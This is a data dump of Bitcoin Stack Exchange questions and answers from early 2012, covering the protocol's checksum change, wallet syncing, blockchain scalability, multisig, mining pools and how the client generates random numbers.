  <row Id="2787" PostTypeId="2" ParentId="2783" CreationDate="2012-01-28T23:41:20.087" Score="4" Body="&lt;p&gt;In the United States, I believe you can treat Bitcoins held as commodities and Bitcoins traded as like-kind exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your tax basis in your Bitcoins is the fair market value of whatever you gave to get them. So if you buy some Bitcoins for $50 and then sell them for $75, the $75 is taxable income. You can deduct your $50 tax basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you buy or sell something for Bitcoins, that's a taxable exchange. Business can defer the taxes (under &lt;a href=&quot;http://www.irs.gov/newsroom/article/0,,id=179801,00.html&quot;&gt;IRC code 1031&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're pretty much all just guessing though. If you plan large transactions in Bitcoins, I'd recommend getting a written, legal opinion backing up your planned tax treatment for the transactions. Failing that, at least have a tax professional prepare your taxes.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-28T23:41:20.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2788" PostTypeId="1" AcceptedAnswerId="2789" CreationDate="2012-01-29T01:18:39.383" Score="13" ViewCount="977" Body="&lt;p&gt;From the &lt;a href=&quot;http://groups.google.com/group/bitcoinj/browse_thread/thread/69070ba94d72ea51&quot;&gt;BitcoinJ mailing list&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the Bitcoin protocol bizarrely changes itself on February 20th&#xA;  2012 in a backwards incompatible manner&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What are these changes, why are they necessary, when was this announced and are there any plans for this to happen again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version of the official client supports the new protocol?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2012-01-29T03:26:10.860" Title="What are the February 20 changes to the Bitcoin protocol?" Tags="|development|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2789" PostTypeId="2" ParentId="2788" CreationDate="2012-01-29T03:26:10.860" Score="14" Body="&lt;p&gt;Really old versions of Bitcoin did not use checksums in network messages (Satoshi incorrectly assumed that the TCP checksum was sufficient). When Bitcoin was changed to start using its own checksums in network messages, &lt;em&gt;version&lt;/em&gt; and &lt;em&gt;verack&lt;/em&gt; messages could not be immediately updated to use checksums because old clients would be unable to understand checksum-protected messages from new clients and the network would split. Satoshi's solution was to keep using non-checksummed &lt;em&gt;version&lt;/em&gt; and &lt;em&gt;verack&lt;/em&gt; messages for two years and then have clients automatically start checksumming &lt;em&gt;version/verack&lt;/em&gt; messages. At midnight UTC on February 20, this change will happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Versions of the official client later than 0.2.9 will apply the change automatically. Older versions will stop working. Existing connections will not be broken due to the change, so there should be very little disruption at the time of the change. It will probably only cause problems for alt clients and users with seriously-off clocks.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-01-29T03:26:10.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2790" PostTypeId="2" ParentId="2682" CreationDate="2012-01-29T07:32:52.153" Score="-3" Body="&lt;p&gt;The big set-back is that the original P2SH proposal (BIP 12 aka OP_EVAL) was Withdrawn by its author, Gavin. In its place, he proposed a new, much inferior system that is broken by design. Despite a sanitized P2SH being proposed in BIP 17, however, he continues to promote and push for the broken BIP 16. Hopefully once BIP 16's voting date has come and gone, he and those who follow his command will adopt BIP 17 (or propose something even better?).&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-01-29T07:32:52.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2791" PostTypeId="2" ParentId="2677" CreationDate="2012-01-29T21:35:48.133" Score="4" Body="&lt;p&gt;Exactly two RPC calls can't be called when Bitcoin-Qt is running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;encryptwallet&#xA;stop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;stop isn't yet implemented because there is work to be done to get the GUI and all of bitcoin's internal threads to shutdown in the right order (get the order wrong and we get crashes during shutdown).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;encryptwallet isn't yet implemented because stop isn't yet implemented, and properly encrypting the wallet means re-writing wallet.dat and then shutting down cleanly so any database files are cleaned up properly (and any unencrypted private keys don't get left on the disk).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by &quot;not available in any client&quot; -- as far as I know, the original &quot;Satoshi&quot; client is the only one that supports the JSON-RPC interface at all.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-01-29T21:35:48.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2792" PostTypeId="2" ParentId="2285" CreationDate="2012-01-29T21:43:42.283" Score="8" Body="&lt;p&gt;Little endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, for example, the script_PushData unit test &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/test/script_tests.cpp#L15&quot;&gt;in the source tree&lt;/a&gt; that pushes one 0x5a byte onto the stack 4 different ways:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check that PUSHDATA1, PUSHDATA2, and PUSHDATA4 create the same value on                                                                &#xA;// the stack as the 1-75 opcodes do.                                                                                                      &#xA;static const unsigned char direct[] = { 1, 0x5a };&#xA;static const unsigned char pushdata1[] = { OP_PUSHDATA1, 1, 0x5a };&#xA;static const unsigned char pushdata2[] = { OP_PUSHDATA2, 1, 0, 0x5a };&#xA;static const unsigned char pushdata4[] = { OP_PUSHDATA4, 1, 0, 0, 0, 0x5a };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-01-29T21:43:42.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2794" PostTypeId="1" CreationDate="2012-01-30T02:52:41.817" Score="1" ViewCount="1544" Body="&lt;p&gt;A couple of days ago I installed bitcoin-qc and loaded the latest block from eu1.bitcoincharts.com/blockchain/. Then to test it out I withdrew a small amount of BTCs from my mtgo account to the address that appeared in the client upon install. Not having received anything yet, I today went to blockexplorer.com and search for that address. The record shows &quot;First seen?: Block 164269 (2012-01-28 19:37:08)&quot; and &quot;Received transactions: 1&quot;, but also says &quot;Public key?: Unknown (not seen yet)&quot;. The client says today, &quot;Catching up... Downloaded 164146 blocks of transaction history. Last received block was generated 2 days ago&quot;. Do I have to send a public key separately? If so, how do I do it? Thanks for taking the time for a beginner.&lt;/p&gt;&#xA;" OwnerUserId="1000" LastActivityDate="2012-03-02T10:46:44.703" Title="How to redeem deposits to my wallet" Tags="|client|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2795" PostTypeId="2" ParentId="2794" CreationDate="2012-01-30T03:21:40.280" Score="1" Body="&lt;p&gt;Your client won't show the transaction until it's received the block the transaction was included in. This website has the block count in the header: &lt;a href=&quot;http://bitcoincharts.com/charts/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right this moment, there are 164472 blocks (and I'm responding to your question quickly) so there's clearly still some downloading to do. Try to determine whether the block download is still occurring, and work from there. There should be a percentage complete figure for the block download in the bitcoin-qc client.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-01-30T03:21:40.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2796" PostTypeId="2" ParentId="2794" CreationDate="2012-01-30T04:01:13.967" Score="0" Body="&lt;p&gt;You have to wait until the client catches up to the current block (or at least to the block when you sent your transaction). Then the transaction will appear in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the public key, in most cases it will not be known to anyone until you actually spend some Bitcoins. Details as to why are a bit complicates (you can find them &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;), but the general idea is quite simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you generate your Bitcoin address, first you generate a private key. From that, you can calculate the public key, but the calculations are designed, so they would be one-way (you can't calculate the private key from the public key). Then, the public key is transformed using SHA-256 and some manipulations into the canonical &quot;Bitcoin Address&quot;, and those operations too are one-way. But in order to spend coins, you have to sign a transaction with your private key, and show everyone your public key so they can decode it (this is when your public key becomes known). At that moment anyone can verify what address that public key belongs to (to know if it has any coins), and that you issued the Bitcoin transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, wait until your client fully synchronises and you will see your transaction. No action is required on your part in order to receive Bitcoins once the transaction is sent.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-30T04:01:13.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2798" PostTypeId="1" CreationDate="2012-01-30T11:10:05.300" Score="29" ViewCount="6424" Body="&lt;p&gt;After watching some of one of the 28c3 talks, It got me thinking about just how scalable Bitcoin really is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the size of the blockchain currently, given the number of transactions/users, will the size of the blockchain be manageable as Bitcoin adoption increases?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example (no answers about &quot;this will never happen&quot; please), if Bitcoin was as large as a company like VISA, hundreds/thousands of megabytes would have to be transmitted over the network daily and stored in the blockchain. This is not including other things being stored in the blockchain that essentially shouldn't be (Eligius putting prayers in the blockchain for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would mean that most casual users would need to use a thin client as storing the blockchain and keeping it up to date would require super fast internet and masses of hard drive space. (imagine Visa's 92 billion transactions per year)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any studies into the scalability of the blockchain? Or is the assumption that technology will be so advanced by the time of this ever occurring that it will not be an issue? (which doesn't sound like the greatest conclusion in my opinion)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, quoting the wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At very high transaction rates each block can be over a gigabyte in size. These blocks must be stored somewhere. Whilst for speed it'd be ideal to store the block chain entirely in RAM, for cheapness storing only the hot parts in RAM and the rest on disk is the way to go. A 3 terabyte hard disk costs less than $200 today and will be cheaper still in future, so you'd need one such disk for every 21 days of operation (at 1gb per block).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;3 TB every 21 days? 52 TB a year for the blockchain alone? Is that REALLY scalable?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2016-03-14T04:54:35.837" Title="Are there any studies into the size of the blockchain scaling over time?" Tags="|blockchain|scalability|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2799" PostTypeId="1" AcceptedAnswerId="2812" CreationDate="2012-01-30T11:28:29.630" Score="2" ViewCount="901" Body="&lt;p&gt;I was wondering if P2Pool is decentralized why does it show up on the BitcoinWatch pool distribution graph?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would show up under &quot;Unknown&quot; but I guess this is only solo miners? Or some dark pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &quot;Other Known&quot; I assume is a selection of small pools whose hash rate is too small to have a visible slice on the graph?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It's currently not visible on the graph on BitcoinWatch but I'm certain I saw it on there not long ago so I will upload an image when I see it again.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2012-01-31T15:00:15.830" Title="Why does P2Pool show up on BitcoinWatch.com if it's P2P?" Tags="|mining-pools|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2800" PostTypeId="2" ParentId="2798" CreationDate="2012-01-30T14:44:24.967" Score="14" Body="&lt;p&gt;I don't know of any formal studies into this, but here are a few points to consider:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It is generally assumed that in the future not every user will run a full network node. For a &quot;supernode&quot; of which a few thousands will exist in the world, the hardware requirements will be bearable - Even if we take the 52TB/year figure at face value and ignore technological advancements, it's a feasible level of storage, and translates to 1.6 MB/s bandwidth (13 Mb/s) which is very reasonable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Spent outputs can be pruned. 52 TB worth of new transactions will allow the pruning of more or less 52TB worth of old transactions, so the overall storage requirement will not grow that quickly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not all Bitcoin payments will appear as transactions on the blockchain. It's reasonable that the vast majority of them will be between eWallets or utilize more advanced payment protocols, such as the one suggested &lt;a href=&quot;https://bitcointalk.org/index.php?topic=91732.0&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I think the correct way to approach this is by calculating the amortized cost of broadcasting a transaction. Let's say a transaction is 2KB. Creating a transaction means it will need to be stored on all nodes, of which let's say there are 5K (which is enough to be decentralized). That means a total of 10MB stored. Let's say 1TB of storage costs $200, then 10MB costs $0.002. As long as the user paid 0.2 cents transaction cost, he has covered the load his transaction put on the network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Moore's law does exist and is going strong for the foreseeable future. The costs outlined above will most likely be lower in the future. The existing banking system does not benefit from advances in computer technology, the Bitcoin system does.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All in all, I don't think there's anything to worry about with regards to scalability.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-07-12T10:34:49.793" LastActivityDate="2013-07-12T10:34:49.793" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2801" PostTypeId="2" ParentId="2799" CreationDate="2012-01-30T15:31:50.930" Score="1" Body="&lt;p&gt;All miners in P2Pool mine &quot;solo&quot; but distributing the reward between all its peers, hence having both advantages of solo mining and pooled mining. The reward distribution is build into the block itself, you can't mine such a block to change it later to give yourself all the reward, nor will the P2Pool accept shares that don't contain reward redistribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't show as a pool it's encased into &quot;other known&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1002" LastActivityDate="2012-01-30T15:31:50.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2802" PostTypeId="1" AcceptedAnswerId="2803" CreationDate="2012-01-30T20:38:22.680" Score="10" ViewCount="2125" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0011&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 11&lt;/a&gt; supports m-of-n transactions. While BIP 16 and BIP 17 are being debated and voted upon, I have to ask: why haven't there been evidence of BIP 11 used in for m-of-n transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that BIP 16 and BIP 17 do is shift the cost to the recipient. This is healthy for the long term cost structure, but it doesn't mean that BIP 11 style m-of-n transactions aren't usable today, does it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have it been used somewhere and I just don't know about it? Or is the current protocol not usable for m-of-n transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2595/what-are-the-implications-of-bip-12-vs-bip-16-and-op-codehashcheck&quot;&gt;See also this question about BIP 12, 16 and 17&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="97624" LastEditDate="2019-08-11T21:58:45.457" LastActivityDate="2019-08-11T21:58:45.457" Title="Why are m-of-n transactions not used today?" Tags="|protocol|bitcoin-core|multi-signature|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2803" PostTypeId="2" ParentId="2802" CreationDate="2012-01-30T21:47:43.063" Score="8" Body="&lt;p&gt;There are some m-of-n transactions in the blockchain (&lt;a href=&quot;https://blockchain.info/tx/60a20bd93aa49ab4b28d514ec10b06e1829ce6818ec06cd3aabd013ebcdc4bb1?show_adv=true&quot;&gt;blockchain.info&lt;/a&gt; - &lt;a href=&quot;http://blockexplorer.com/search/60a20bd93aa49ab4b28d514ec10b06e1829ce6818ec06cd3aabd013ebcdc4bb1&quot;&gt;block explorer&lt;/a&gt;) but they have only been recently added to the standard transaction types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the reason why they are probably not in wide spread use yet is there is no gui based client that can construct one. &lt;a href=&quot;https://blockchain.info/wallet&quot;&gt;My Wallet&lt;/a&gt; will be able to construct them soon, I don't know how much demand there will be for usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I see it BIP 16//17 and m-of-n have different use cases. The drawback of P2SH is that you need to share the script with the recipient in order for them to know they have received a payment - you also need to store the script. While this might be ideal for split key wallets, (where the wallet owner already has the script) it is awkward for use with escrow transactions. If you receive an M-Of-N escrow payment notifications can work out of the box and you can use existing vanity addresses.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2012-01-30T21:59:54.640" LastActivityDate="2012-01-30T21:59:54.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2804" PostTypeId="1" CreationDate="2012-01-31T02:43:29.200" Score="1" ViewCount="487" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2064/how-long-does-it-take-to-receive-bitcoins&quot;&gt;How long does it take to receive bitcoins?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;At BTCGuild site it shows on Payout History:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2012-01-26 19:01:06 1BiNp9GmFJv1VuoudsJy8Ke79qvh6BPDzp  0.20000000&#xA;2012-01-22 07:29:27 1BiNp9GmFJv1VuoudsJy8Ke79qvh6BPDzp  0.11390889&#xA;2012-01-20 01:36:25 1BiNp9GmFJv1VuoudsJy8Ke79qvh6BPDzp  0.23492573&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in Bitcoin software, I haven't received the first (0.20000000) payout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the second and the third were received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why have I got this problem?&lt;/p&gt;&#xA;" OwnerUserId="1003" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-07-06T03:54:29.163" Title="Why I haven't received my transfer from BTCGuild?" Tags="|transactions|confirmations|receiving|" AnswerCount="1" CommentCount="0" ClosedDate="2012-10-05T12:51:27.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="2805" PostTypeId="2" ParentId="2804" CreationDate="2012-01-31T03:58:43.453" Score="3" Body="&lt;p&gt;According to the &lt;a href=&quot;http://blockexplorer.com/address/1BiNp9GmFJv1VuoudsJy8Ke79qvh6BPDzp&quot; rel=&quot;nofollow&quot;&gt;Blockexplorer&lt;/a&gt;, you should see all of those transactions when you reach block 163971. Your client probably needs to finish synchronising with the network, as the first transaction is the newest one. If you see the second transaction, then you still have about 7 days at most to synchronise. Just leave your client on for a couple hours and you should see your last 0.2 Bitcoins arrive.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-31T03:58:43.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2806" PostTypeId="2" ParentId="2746" CreationDate="2012-01-31T06:26:20.250" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://bitcashretail.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcashretail.com/&lt;/a&gt; (service is now dead)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote from site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We will provovide you a digital Visa card for the spot price of Mtgox for a Bitcoin equivalent of a $7usd service charge. Available to registed users only!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1004" LastEditorUserId="6" LastEditDate="2014-01-02T13:56:33.207" LastActivityDate="2014-01-02T13:56:33.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2807" PostTypeId="1" AcceptedAnswerId="2810" CreationDate="2012-01-31T07:41:42.510" Score="2" ViewCount="172" Body="&lt;p&gt;Genjix wrote about this in two recent posts. Here's &lt;a href=&quot;http://bitcoinmedia.com/cathartic-progress/&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some developers argue that with the issues being highly complex, that&#xA;  users have no say in the system’s core development&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://bitcoinmedia.com/the-truth-behind-bip-16-and-17/&quot; rel=&quot;nofollow&quot;&gt;the other&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Other developers disagree with giving this information away and feel&#xA;  like you as users should trust their judgement&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are there public expressions of some core developers that object to public scrutiny and participation in the decision-making process? Who, of the core team, has issued such opinions?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-01-31T08:50:21.507" LastActivityDate="2012-01-31T13:26:11.680" Title="Which Bitcoin developers are referred to as saying that &quot;users have no say in the system's core development&quot;" Tags="|development|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2808" PostTypeId="2" ParentId="2807" CreationDate="2012-01-31T08:18:52.293" Score="3" Body="&lt;p&gt;You misunderstand what the developers are saying. They are not saying that they object to pubic scrutiny and participation. They are saying that being a user of Bitcoin does not somehow specially qualify you to comment on the design or implementation of the Bitcoin system.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-31T08:18:52.293" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2809" PostTypeId="2" ParentId="2746" CreationDate="2012-01-31T09:11:32.913" Score="3" Body="&lt;p&gt;You can also try CentreGold for this service but you will have to transfer them Liberty Reserve (USD) from your Gox account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://centregold.com/public/debitcard.php&quot; rel=&quot;nofollow&quot;&gt;https://centregold.com/public/debitcard.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2012-01-31T09:11:32.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2810" PostTypeId="2" ParentId="2807" CreationDate="2012-01-31T13:08:14.180" Score="2" Body="&lt;p&gt;Some posts that genjix might have referred to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=61922.msg722833#msg722833&quot; rel=&quot;nofollow&quot;&gt;by theymos&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Miners (as a group) should not be given any say over issues like this.&#xA;  They do not necessarily know what the best option is. The issue should&#xA;  be decided by people very familiar with the protocol and the&#xA;  proposals.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I suggest that we compile a list of everyone who knows a lot about the&#xA;  Bitcoin protocol, invite them to a two-week discussion via email, and&#xA;  have those who participate in the discussion vote on the issue at the&#xA;  end of the two weeks. If one proposal gets enough votes (two-thirds,&#xA;  say), then Bitcoin clients will be programmed to apply the new&#xA;  restrictions ~3 months in the future. Miners will have to upgrade by&#xA;  then or their blocks will not be recognized by most clients. If there&#xA;  aren't enough votes for any proposal to pass, the issue will be&#xA;  shelved for a while.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=61922.msg723938#msg723938&quot; rel=&quot;nofollow&quot;&gt;by Technomage&lt;/a&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The bottom line is that non-technical people should have no say in an&#xA;  issue that is purely technical. This is technocratic democracy and&#xA;  it's simply the best way. All technical people should be invited to&#xA;  the discussion and then they can vote amongst themselves, simple as&#xA;  that. Then the results are made public and the miners will upgrade&#xA;  based on that, if the team decided to go forward with either BIP.&#xA;  There should of course be a vote for &quot;neither&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-01-31T13:26:11.680" LastActivityDate="2012-01-31T13:26:11.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2811" PostTypeId="2" ParentId="2799" CreationDate="2012-01-31T14:46:13.430" Score="1" Body="&lt;p&gt;Yes, &quot;other known&quot; is for sources too small to show on the graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graph on bitcoinwatch.com is entitled &quot;Hashrate Distribution&quot;. If you click through to the blockchain.info site it does include the word &quot;pool&quot;. But I think the point is just to show the major hash powers, regardless of whether they are pools. If there was a single person with enough hash power to show on the graph, I bet they'd show it, even though a single person is not a pool.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-01-31T14:46:13.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2812" PostTypeId="2" ParentId="2799" CreationDate="2012-01-31T15:00:15.830" Score="1" Body="&lt;p&gt;Blockchain.info (the source of the graph) uses the &quot;First relayed&quot; method to attempt to determine a block's owner. The site has a database of ip addresses that belong to the major mining pools and tries to connect to each of those. If a block is received from one of those ip's first then that pool is deemed to be the owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For P2Pool I occasionally join the p2p network and scrape a list of &quot;addr&quot; messages containing the ip's of the nodes in network. These are inserted into the database under the collective &quot;P2Pool&quot; name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is actually a better way to detect P2Pool blocks as the first output of each coinbase tx is strange e.g. &lt;a href=&quot;http://blockchain.info/block-index/857086&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/block-index/857086&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-01-31T15:00:15.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2813" PostTypeId="1" AcceptedAnswerId="2816" CreationDate="2012-01-31T16:17:01.960" Score="3" ViewCount="379" Body="&lt;p&gt;Is the random library used by the standard client in any way deterministic, or can one count on it being truly random?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, often random libraries are initialized with seed value of the current time, like in C++:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;srand(time(NULL));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if someone was to iterate over reasonable ranges of time when a client started, eventually one would use the same seed value, and thus be able to generate the same addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the random library used by the standard client vulnerable to such an attack, or does it also use some other variables that are unpredictable (say, temperature of the processor down  to such decimal places it becomes an unpredictable noise)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2014-09-12T00:52:30.783" LastActivityDate="2014-09-12T00:52:30.783" Title="Address creation in standard client - random library?" Tags="|bitcoin-core|security|library|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2814" PostTypeId="2" ParentId="2813" CreationDate="2012-01-31T20:43:51.660" Score="5" Body="&lt;p&gt;It uses a cryptographically-secure random number generator, specifically the one included in OpenSSL. Generating a key from a source with less entropy than the equivalent bit strength of the key would be an inexcusable rookie coder error. It wouldn't survive in any popular open source program for more than a few days.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-31T20:43:51.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2815" PostTypeId="1" CreationDate="2012-01-31T22:36:26.290" Score="5" ViewCount="320" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Bus_factor&quot;&gt;Bus Factor&lt;/a&gt; (&lt;a href=&quot;http://www.youtube.com/watch?v=ZSFDm3UYkeE&amp;amp;feature=youtu.be#t=16m15s&quot;&gt;Youtube&lt;/a&gt;) is the&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;total number of key developers who would need to be incapacitated (as&#xA;  by getting hit by a bus) to send the project into such disarray that&#xA;  it would not be able to proceed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the current bus factor of the Bitcoin standard client?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-02-03T12:06:36.407" Title="What is the current (Feb 2012) &quot;bus factor&quot; of the standard client?" Tags="|bitcoin-core|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2816" PostTypeId="2" ParentId="2813" CreationDate="2012-01-31T23:48:23.590" Score="6" Body="&lt;p&gt;In addition to microsecond time, Bitcoin seeds the random number generator with GUI events, /dev/urandom on Unix, and HKEY_PERFORMANCE_DATA on Windows (very random, constantly-changing data).&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-01-31T23:48:23.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
